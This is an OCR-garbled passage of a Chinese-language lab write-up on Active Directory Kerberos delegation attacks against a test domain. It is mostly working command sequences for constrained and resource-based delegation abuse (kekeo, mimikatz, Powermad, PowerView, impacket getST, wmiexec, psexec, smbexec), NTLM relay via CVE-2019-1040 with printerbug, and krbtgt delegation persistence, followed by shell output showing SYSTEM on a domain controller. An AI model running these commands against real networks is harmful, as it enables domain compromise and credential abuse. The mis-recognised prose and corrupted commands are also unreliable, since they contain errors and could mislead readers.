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kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-2-40e10000-WEB$@krbtgt-
HAISHI.COM.kirbi /user:Administrator@haishi.com
/service:cifs/DC.haishi.com" "exit"
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"exit"
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kekeo.exe "tgt::ask /user:WEB$ /domain:haishi.com
/NTLM:48b1ee6132349190ee7c47d4b5d91608" "exit"

@ kekeo.exe
»| mimikatz.exe
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kekeo.exe "tgs::sdu
/tgt:TGT_WEB$@HAISHI.COM_krbtgt~haishi.com@HAISHI.COM.kirb
i /user:Administrator@haishi.com
/service:cifs/DC.haishi.com” "exit"
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@HAISHI.COM.kirbi" "exit"
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A getST BIBERSERE

python3 getST.py -dc-ip 10.150.127.166 -spn
CIFS/DC.haishi.com -impersonate administrator
haishi.com/WEB$ -hashes :48blee6132349190ee7c47d4b5d91608
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export KRB5CCNAME=administrator.ccache

python3 wmiexec.py -k
haishi.com/administrator@DC.haishi.com -no-pass -dc-ip
10.150.127.166

XEBEE/ tips
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kekeo.exe "tgt::ask /user:many /domain:haishi.com
exit"

/password:asd123! /ticket:many.kirbi
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i1 /user:administrator@haishi.com
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mimikatz.exe "kerberos::ptt
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AdFind.exe -h 10.150.127.166 -b "DC=haishi,DC=com" -f
"objectClass=computer" mS-DS-CreatorSID

LRI ERNEEAF many ip TR 166

XETUEER— sid: S-1-5-21-1400638014-602433399-
2258725660-1146
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FE Powermad.ps1 (https://github.com/Kevin-

Robertson/Powermad/blob/master/Powermad.ps1)

BlIEE— test1 H23FAF 2513 123456

powershell

Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.psl

New-MachineAccount -MachineAccount testl -Password
$(ConvertTo-SecureString "123456" -AsPlainText -Force)
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2258725660-1148

REFRIK 15 WEB B msds-
allowedtoactonbehalfofotheridentity B918

F A powerView

powershell

Set-ExecutionPolicy Bypass -Scope Process

import-module .\powerview.psl

$SD = New-Object
Security.AccessControl.RawSecurityDescriptor -ArgumentList
"0:BAD: (A; ; CCDCLCSWRPWPDTLOCRSDRCWDWO; ; ;S-1-5-21-
1400638014-602433399-2258725660-1148)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, @)

Get-DomainComputer WEB| Set-DomainObject -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

BERE LB

Get-DomainComputer WEB -Properties msds-
allowedtoactonbehalfofotheridentity
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allowedtoactonbehalfofotheridentity' -Verbose
REERERE

python3 getST.py -dc-ip 10.150.127.166
haishi.com/test1\$:123456 -spn cifs/WEB.haishi.com -
impersonate administrator

2 ~/B T /impacket-0.9.24/examples

python3 cetST.py 10.150.127.166 haishi.com/test1\$:123456 cifs/WEB.haishi.c
ad strator
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export KRB5CCNAME=administrator.ccache

python3 wmiexec.py WEB.haishi.com -no-pass -k -dc-ip
10.150.127.166

~/M W /impacket-0.9.24/examples
KRB5CCNAME-administrator.ccache
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python3 psexec.py -k
haishi.com/administrator@WEB.haishi.com -no-pass

e ~/8 @ /impacket-0.9.24/examples
pythond psexec.py i ini i 1 1

Impacket v0.9.25 evl+ - Copyright 2021 SecureAuth Corporation
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powershell

Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.psl

New-MachineAccount -MachineAccount test3 -Password
$(ConvertTo-SecureString "123456" -AsPlainText -Force)
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powershell

Set-ExecutionPolicy Bypass -Scope Process

import-module .\powerview.psl

$SD = New-Object
Security.AccessControl.RawSecurityDescriptor -ArgumentList
"0:BAD: (A; ; CCDCLCSWRPWPDTLOCRSDRCWDWO; ; ;S-1-5-21-
1400638014-602433399-2258725660-1152)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, @)

Get-DomainComputer WEB| Set-DomainObject -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

(https://xzfile.aliyuncs.com/media/upload/picture/2022071
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python3 getST.py -dc-ip 10.150.127.166
haishi.com/test3\$:123456 -spn cifs/WEB.haishi.com -
impersonate administrator

® ~/8 1l /impacket-0.10.0/examples
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om rator
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7163512-5ff7fafe—05ab-1.png)

export KRBS5CCNAME=administrator.ccache

python3 wmiexec.py WEB.haishi.com -no-pass -k -dc-ip
10.150.127.166

2 ~/8 T /impacket-0.10.0/examples
KRBSCCNAME=administrator.ccache

~/8 T /impacket-0.10.0/examples
y WEB.haishi.com 10.150.127.166

Impacket v0.10.@ - Copyright 2022 SecureAuth Corporation

SMBv3.0 dialect used

Launching semi-interactive shell - Careful what you execute
'] Press help for extra shell commands
\>whoamil

C:\>hostname

(https://xzfile.aliyuncs.com/media/upload/picture/2022071
7163521-656¢f340-05ab-1.png)

FIAAR 3: 458 HTLM Relay 1E&E s
(CVE-2019-1040)

HENIIZ win2016
DC2 10.150.127.186

BEFE WEB LEIZE— 23 test2 123456

powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.psl


https://xzfile.aliyuncs.com/media/upload/picture/20220717163512-5ff7fafe-05ab-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20220717163521-656cf340-05ab-1.png

New-MachineAccount -MachineAccount test?2 -Password
$(ConvertTo-SecureString "123456" -AsPlainText -Force)

(https://xzfile.aliyuncs.com/media/upload/picture/2022071
7163532-6bd40d04-05ab-1.png)

_ Active Directory FEFFIiT 8

TP BEA) BBV EEIH)

Y CIEEENL IS T
_: Active Directory BIF#RHEN|| 2% = =k
FEyEs i test] HEL
v 4 haishi.com A test2 R
Bultin &l wes HE
| Computers

2] Domain Controllers
ForeignSecurityPrincip;
Managed Service Accc

2| Microsoft Exchange S¢

| Users

(https://xzfile.aliyuncs.com/media/upload/picture/2022071
7163539-6fbb54a4-05ab-1.png)

RIETTRET

python3 ntlmrelayx.py -t ldap://10.150.127.166 -
smb2support --remove-mic --delegate-access --escalate-user
test2\$

LDAPS
t HTTP 1

Servers started, waiting for connections
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(https://xzfile.aliyuncs.com/media/upload/picture/2022071
7163550-76796812-05ab-1.png)

R BFTEN R

python3 printerbug.py
haishi.com/many:asd123\!\@10.150.127.186 10.150.127.128

(https://xzfile.aliyuncs.com/media/upload/picture/2022071
7163640-948a77e2-05ab-1.png)

RERERE

python3 getST.py haishi.com/test2\$:123456 -spn
CIFS/DC2.haishi.com -impersonate Administrator -dc-ip
10.150.127.166

S [ /impacket-0.10.0/examples

ha 1. CIFS/DC2.haishi.com Admini
) 6

uth Corporation

(https://xzfile.aliyuncs.com/media/upload/picture/2022071
7163650-9a55929¢c-05ab-1.png)

SN
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® ~/% ® /impacket-0.10.0/examples
KRB5CCNAME=Administrator.ccache

2 ~/% T /impacket-0.10.0/examples
smbexec.py 10.150.127.186 DC2.haishi.com
Impacket v0.10.@ - Copyright 2022 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\s

C:\Windows\system32>hostname
DC2

C:\Windows\system32>f}

(https://xzfile.aliyuncs.com/media/upload/picture/2022071
7163658-9f5b149¢c-05ab-1.png)

RINFREEIE

ntim-relay XHNBIHEE, smb INEREAINEEEFE smb

o

cve—-2019-1040 EXEHERESIE T mic 19568 FERNFTEN A
ABIZ smb MY HIZREIATE smb 28 M cve IREFEX
BRNIF5RE T mic B9QIE AR5 T ntim-relay K&

MABN 4 FTEEMRETRE

RS EHIERINRE X krbtgt AP IRERIRKEM RITEEER
& HITIPRYESS

SElE— 23K testd 123456

(https://xzfile.aliyuncs.com/media/upload/picture/2022071
7163707-a4bef516-05ab-1.png)

PRIERBIE LIRIE

7£ powershell F#11T
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Set-AUUser Krbtgt -PrincipalsAllowedlolelegateloAccount
test4$

Get-ADUser krbtgt -Properties
PrincipalsAllowedToDelegateToAccount

S C:\Usersi\idminis

(https://xzfile.aliyuncs.com/media/upload/picture/2022071
7163718-ab24f4fa-05ab—1.png)

ELRINEEE THRINAREIR

IMERE krbtgt FIEY hash EAT BTSRRI TIEEE
ELi

python3 getST.py haishi.com/test4\$:123456 -spn krbtgt -
impersonate administrator -dc-ip 10.150.127.166

administrator

(https://xzfile.aliyuncs.com/media/upload/picture/2022071
T1RRTIT_hN2ATAaa_NKEah_1 nnA)
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SANERE

export KRB5CCNAME=administrator.ccache

python3 smbexec.py -k administrator@DC.haishi.com -no-pass
-dc-ip 10.150.127.166

10.150.127.166 1

what you execute

(https://xzfile.aliyuncs.com/media/upload/picture/2022071
7163734-b4bfc3c8-05ab-1.png)

108 Y ek 111

SRR, IRBEN SBEFP, TSR

WIET(O):

TR LT

|| ZEXSSRVAEEEREF

v BUEKRT  FREEEE

] BT Kerberos DES hnEZssi
|| #T35#F Kerberos AES 128 (U0,

(https://xzfile.aliyuncs.com/media/upload/picture/2022071
7163742-b948f9f0-05ab-1.png)

FNKSFREZIRE, RERENARIERIK

Windows 2012 R2 RESMAREIL 7 2RIFAFA
Protected Users, ERNBAFARTFREIR, XEeBMNFE,
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SRR A,

*Enterprise Read-onl y Domain Contro

*Group Policy Creator Owners
*Protected Users

*Read-only Domain Corfftwmellers
*Schema Admins

The command completed successfully.

(https://xzfile.aliyuncs.com/media/upload/picture/2022071
7163750-bddf351a-05ab-1.png)

BE— cve AI%TIXLERR I CVE-2020-1704

S FEMAMIHN T BF CVE-2020-17049
(https://www.freebuf.com/vuls/258430.html)

FRAVBASE MITH#NT $ 748 T KB4598347

RAZEERLAME ERRIE—BERHY 80 % g 8
BT RRBCHIE H4%F ENE - -

FRATIHR

PEE:  https://pan.baidu.com/s/1TEtjj8hf-pmp9ZsJqikFKQ
(https://pan.baidu.com/s/1TEtjj8hf—-pmp9ZsJqikFKQ)
1ENS: kOpd

2% https://www.bilibili.com/video/BV1564y1Y7HF?
spm_id_from=333.999.0.0&vd_source=17131ae497e9fc1fdcb
ad3da526ab8ab
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https://blog.csdn.net/nicai321/article/details/122679357
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